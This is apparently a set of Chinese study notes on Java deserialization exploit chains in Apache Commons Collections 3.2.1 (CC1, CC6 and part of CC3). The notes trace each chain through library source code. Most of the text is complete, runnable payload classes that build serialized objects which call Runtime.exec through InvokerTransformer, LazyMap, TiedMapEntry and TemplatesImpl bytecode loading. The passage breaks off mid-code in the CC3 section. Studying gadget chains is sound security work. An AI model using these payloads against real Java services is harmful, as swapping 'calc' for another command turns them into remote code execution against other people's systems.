JAVA cc1~7

JAVA cc

cc1

image-20230730135654684

链开始是org.apache.commons.collections.functors 包下InvokerTransformer的transform方法

  public Object transform(Object input) {//链的最终调用方法
        if (input == null) {   //input可传
            return null;
        }
        try { //iMethodName iParamTypes这俩均可通过实例化InvokerTransformer类
            Class cls = input.getClass();//getClass 很容易联想到java反射
            Method method = cls.getMethod(iMethodName, iParamTypes);//
            return method.invoke(input, iArgs);//返回值可控为invoke(runtime,"calc") 实现任意调用

往上查找哪个方法调用了transform方法

image-20230725173218398

   protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }//checkSetValue是受保护方法即不能直接搞接着往上找

image-20230725173947527

发现只有一个调用了此方法

static class MapEntry extends AbstractMapEntryDecorator {//这个类继承了抽象方法
   /** The parent map */
   private final AbstractInputCheckedMapDecorator parent;

   protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
       super(entry);
       this.parent = parent;//这个是一个遍历
    }

    public Object setValue(Object value) {//setValuel方法调用了checkSetValue方法
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
}

测试MapEntry遍历调用setValue方法

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class a {
    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();//测试cc1中的InvokerTransformer方式实现任意类调用
        Transformer[] transforms=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                (Transformer) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                (Transformer) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
                (Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);

        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","val");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        for (Map.Entry entry: transformedMap.entrySet()){
            entry.setValue(r);
        }
    }
}

image-20230725183336322

成功弹出,即我们找到一个调用MapEntry进行遍历调用setValue的方法即可

image-20230725195616833

最终我们在(真他么巧)AnnotationInvocationHandler类找到readObject方法巧不巧。。。

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(//调用Map.Entry 又在里面调用setValue方法
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

自此实现cc1链闭合

package cc1;//jdk8u65  commons-collections 3.2.1

import jdk.internal.org.objectweb.asm.tree.analysis.Value;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc {
    public static void main(String[]args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
//        Runtime.getRuntime().exec("cmd");

        //反射调用
//        Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method execMethod = c.getMethod("exec",String.class);
//        execMethod.invoke(r,"calc");
//

       // Runtime r = Runtime.getRuntime();//测试cc1中的InvokerTransformer方式实现任意类调用

//        Class cc=Runtime.class;
//        Method getruntime= cc.getDeclaredMethod("getRuntime",null);
//        Runtime runtime = (Runtime)getruntime.invoke(null, null);
//        Method execMethod = cc.getMethod("exec", String.class);
//        execMethod.invoke(runtime,"calc");


//        Method getRuntimeMethod =(Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//        Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);
//         new  InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

        Transformer[] transforms=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                (Transformer) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                (Transformer) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
                (Transformer) new  InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
//        chainedTransformer.transform(Runtime.class);

//        new InvokerTransformer("exec", new Class[]{String.class} , new Object[] {"calc"}).transform(r);

//        InvokerTransformer invokerTransformernew = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        HashMap<Object, Object> map = new HashMap<>();
//        TransformedMap.decorate(map,null,invokerTransformernew);


//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","val");


        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
//
        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlConstructor = a.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlConstructor.setAccessible(true);
//        Object o=annotationInvocationHandlConstructor.newInstance(Override.class,transformedMap);//Override这个方法继承注释但没有返回值会使AnnotationInvocationHandler里面的readObject方法里的if过不去
        Object o=annotationInvocationHandlConstructor.newInstance(Target.class,transformedMap);//Target返回注释数组
        serialize(o);
        unserialize("ser.bin");

                //Class<? extends Annotation> type, Map<String, Object> memberValues
        for (Map.Entry entry: transformedMap.entrySet()){
            entry.setValue(r);
        }

    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

   public Object transform(Object object) {//ChainedTransformer里transform方法可递归调用整个链
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

接着往上找

image-20230727173945834

这个和前面哪个其实可以互用使用下面TransformedMap也可以但。。。总要写一点不一样的

   public Object get(Object key) {//LazyMap的get方法其实看到这个gei就好找了。。。调用get的很多就看能不能找到可自定义的了
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {//这个上面有注释就是没用然后再生成一个
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);}

接着找

image-20230727174558731

直接跟着答案走

    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();//AnnotationInvocationHandler类的invoke方法
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)//这个限制必须为无参构造否则抛出异常
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);//这个get memberValues member都是可控的

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

我们找了AnnotationInvocationHandler类的invoke方法即当我们在外部搞一个动态代理即可,我也不晓得怎么解释就是。。。跟着答案走吧,这里我们可以创建一个map的动态代理而且AnnotationInvocationHandler类的构造方法传参需要map类参数。。。。

private void readObject(java.io.ObjectInputStream s)//AnnotationInvocationHandler类
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();//memberValues可控且memberValues为无参。与上面invoke相照应而且AnnotationInvocationHandler的readObject类
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

到此cc1完成闭合playload:

package cc1;//jdk8u65  commons-collections 3.2.1

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc11 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Runtime r = Runtime.getRuntime();//测试cc1中的InvokerTransformer方式实现任意类调用
        Transformer[] transforms=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                (Transformer) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                (Transformer) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
                (Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler)annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
        Object o=annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);
//        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

cc6

cc6链不看jdk版本比较好用

cc6与cc2的区别

//sun.reflect.annotation.AnnotationInvocationHandler包jdk8u71
 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);//生成的不能控制了
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Map.Entry var9 = (Map.Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }
        AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
        AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
    }
//sun.reflect.annotation.AnnotationInvocationHandler包jdk8u65
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

CC6:

这个破局点

TiedMapEntry包的hashCode()函数

public int hashCode() {
        Object value = getValue();//getValue方法
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }
public Object getValue() {
    return map.get(key);//这个的get方法的key和map均可控
}

image-20230728214753943

LazyMap.get()方法结合写playload:

package cc1; //cc3.2.1 jdk8u71

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        Transformer[] transforms=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                (Transformer) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                (Transformer) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
                (Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);

        HashMap<Object,Object> map=new HashMap<>();

        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

        TiedMapEntry tiedMapEntry =new TiedMapEntry(lazyMap,"aaa");

        HashMap<Object,Object> map2 = new HashMap<>();

        map2.put(tiedMapEntry,"sss");
        //lazyMap.remove("aaa");//删除key

        // Class c = LazyMap.class;
        //Field factoryField = c.getDeclaredField("factory");
        //factoryField.setAccessible(true);
        // factoryField.set(lazyMap,chainedTransformer);

        serialize(map2);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

这个构造好后运行会发现运行后没有任何反应

解释:cc6类似URLDNS与cc1结合的链,URLDNS链的时候会发现HashMap.put的时候ConstantTransformer的key会发生改变

我们可以先使用java反射技术先随便穿个空值防止自动调用

 Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1) );

接着正常put值然后再进行反射更改数值

 Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

运行后发现不会序列化反序列化均无计算机弹出

动调一下:

下断点:

image-20230728215737970

跟进函数

image-20230728215802804

image-20230728215829533

image-20230728215851510

image-20230728215910309

 public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {//这个key没有会造一个有返回
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }//防止序列化时执行key直接删除  lazyMap.remove("aaa");

playload:

package cc1; //cc3.2.1 jdk8u71

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        Transformer[] transforms=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                (Transformer) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                (Transformer) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
                (Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);

        HashMap<Object,Object> map=new HashMap<>();


        Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1) );

        TiedMapEntry tiedMapEntry =new TiedMapEntry(lazyMap,"aaa");

        HashMap<Object,Object> map2 = new HashMap<>();

        map2.put(tiedMapEntry,"sss");
        lazyMap.remove("aaa");//删除key

        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);//反射替换

        serialize(map2);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

cc3

cc3是动态类加载,java cc链就是一整体的互相可用的链,java cc3它前半部分是cc1 而后部分主要是从newTransformer起的

image-20230730212136972

任意类加载机制ClassLoader函数中defineClass方法

protected final Class<?> defineClass(String name, byte[] b, int off, int len)//保护方法F7寻找重写调用它的地方
        throws ClassFormatError//defineClass这个函数有好几个挨个找最终在传参为(String name, byte[] b, int off, int len)
    {						//方法中找到调用函数
        return defineClass(name, b, off, len, null);
    }//会加载一个类,即再找到一个实例化类的🤭

image-20230730214214029

接着跟进

Class defineClass(final byte[] b) {//TemplatesImpl
     return defineClass(null, b, 0, b.length);//Class只有内部调用接着找
}

image-20230730214925245

private void defineTransletClasses()//TemplatesImpl.defineTransletClasses私有方法查找调用public
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {//在此次调用不用问代码逻辑先跟下去
                _class[i] = loader.defineClass(_bytecodes[i]);
           .....

image-20230730215356254

发现三处调用接着查看

private Translet getTransletInstance()//TemplatesImpl.getTransletInstance私有方法查找调用public
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
     .....

image-20230730215736299

只有一处调用且是public

public synchronized Transformer newTransformer()//TemplatesImpl.newTransformer此处即new后即可
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);
.....

到此处后即找到调用加载我们可用联想到cc1的InvokerTransformer.transform()即image-20230730220220449

形成一个完整的链😀

开始构造:

package cc;//jdk8u65  commons-collections 3.2.1

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;

public class cc {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
        TemplatesImpl templatesImpl = new TemplatesImpl();//大致已经🆗了个开始跟进使用反射进行赋值
        templatesImpl.newTransformer();
    }
}

已知最开始是newTransformer即下正向跟进,进行逻辑分析

image-20230730222532520

跟进

image-20230730222928349

需要进入defineTransletClasses()

 _name ≠null //_name = "aaa"
 _class=null

接着跟进defineTransletClasses()

private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {//_bytecodes不可为空
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {//需进入此循环
                _class[i] = loader.defineClass(_bytecodes[i]);//_bytecodes参数为加载类

查找_bytecodes字符类型

image-20230730223603867

二维字节 传参:

byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));
//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
byte[][] codes={code};

尝试一下:

package org.example;//生成的class文件路径即类加载路径

import java.io.IOException;

public class hello{// extends AbstractTranslet

    public static void main(String[] args) {
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
}
package cc;

import com.sun.org.apache.xalan.internal.xsltc.compiler.Template;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Class tc =templatesImpl.getClass();
        Field nameFieid = tc.getDeclaredField("_name");
        nameFieid.setAccessible(true);
        nameFieid.set(templatesImpl,"aaa");
        Field by = tc.getDeclaredField("_bytecodes");
        by.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
        byte[][] codes={code};
        by.set(templatesImpl,codes);

//        Field tfactory = tc.getDeclaredField("_tfactory");//在序列化时自动赋值
//        tfactory.setAccessible(true);
//        tfactory.set(templatesImpl,new TransformerFactoryImpl());
        templatesImpl.newTransformer();
//
//        Transformer[] transforms=new Transformer[]{
//                new ConstantTransformer(Runtime.class),
//                (Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
//        };
//        ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
//        chainedTransformer.transform(1);
//
        templatesImpl.newTransformer();
//
//        HashMap<Object,Object> map=new HashMap<>();
//        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
//        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
//        annotationInvocationHandlerConstructor.setAccessible(true);
//        InvocationHandler h = (InvocationHandler)annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
//        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
//        Object o=annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);
//        serialize(o);
//        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

image-20230730224353028

发现报错动调一下:下断点

image-20230730224514982

image-20230730224950196

发现 _tfactory参数为空代码发生逻辑错误跟进看一下_tfactory参数

private transient TransformerFactoryImpl _tfactory = null//不可被序列化寻找赋值函数
private void  readObject(ObjectInputStream is)
      throws IOException, ClassNotFoundException
    {
        SecurityManager security = System.getSecurityManager();
        if (security != null){
            String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET);
            if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true"))) {
                ErrorMsg err = new ErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR);
                throw new UnsupportedOperationException(err.toString());
            }
        }

        // We have to read serialized fields first.
        ObjectInputStream.GetField gf = is.readFields();
        _name = (String)gf.get("_name", null);
        _bytecodes = (byte[][])gf.get("_bytecodes", null);
        _class = (Class[])gf.get("_class", null);
        _transletIndex = gf.get("_transletIndex", -1);

        _outputProperties = (Properties)gf.get("_outputProperties", null);
        _indentNumber = gf.get("_indentNumber", 0);

        if (is.readBoolean()) {
            _uriResolver = (URIResolver) is.readObject();
        }

        _tfactory = new TransformerFactoryImpl();//readObject函数中赋值
    }

直接反射写入

package cc;

import com.sun.org.apache.xalan.internal.xsltc.compiler.Template;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Class tc =templatesImpl.getClass();
        Field nameFieid = tc.getDeclaredField("_name");
        nameFieid.setAccessible(true);
        nameFieid.set(templatesImpl,"aaa");
        Field by = tc.getDeclaredField("_bytecodes");
        by.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
        byte[][] codes={code};
        by.set(templatesImpl,codes);

        Field tfactory = tc.getDeclaredField("_tfactory");//在序列化时自动赋值
//        tfactory.setAccessible(true);
//        tfactory.set(templatesImpl,new TransformerFactoryImpl());
        templatesImpl.newTransformer();
//
//        Transformer[] transforms=new Transformer[]{
//                new ConstantTransformer(Runtime.class),
//                (Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
//        };
//        ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
//        chainedTransformer.transform(1);
//
        templatesImpl.newTransformer();
//
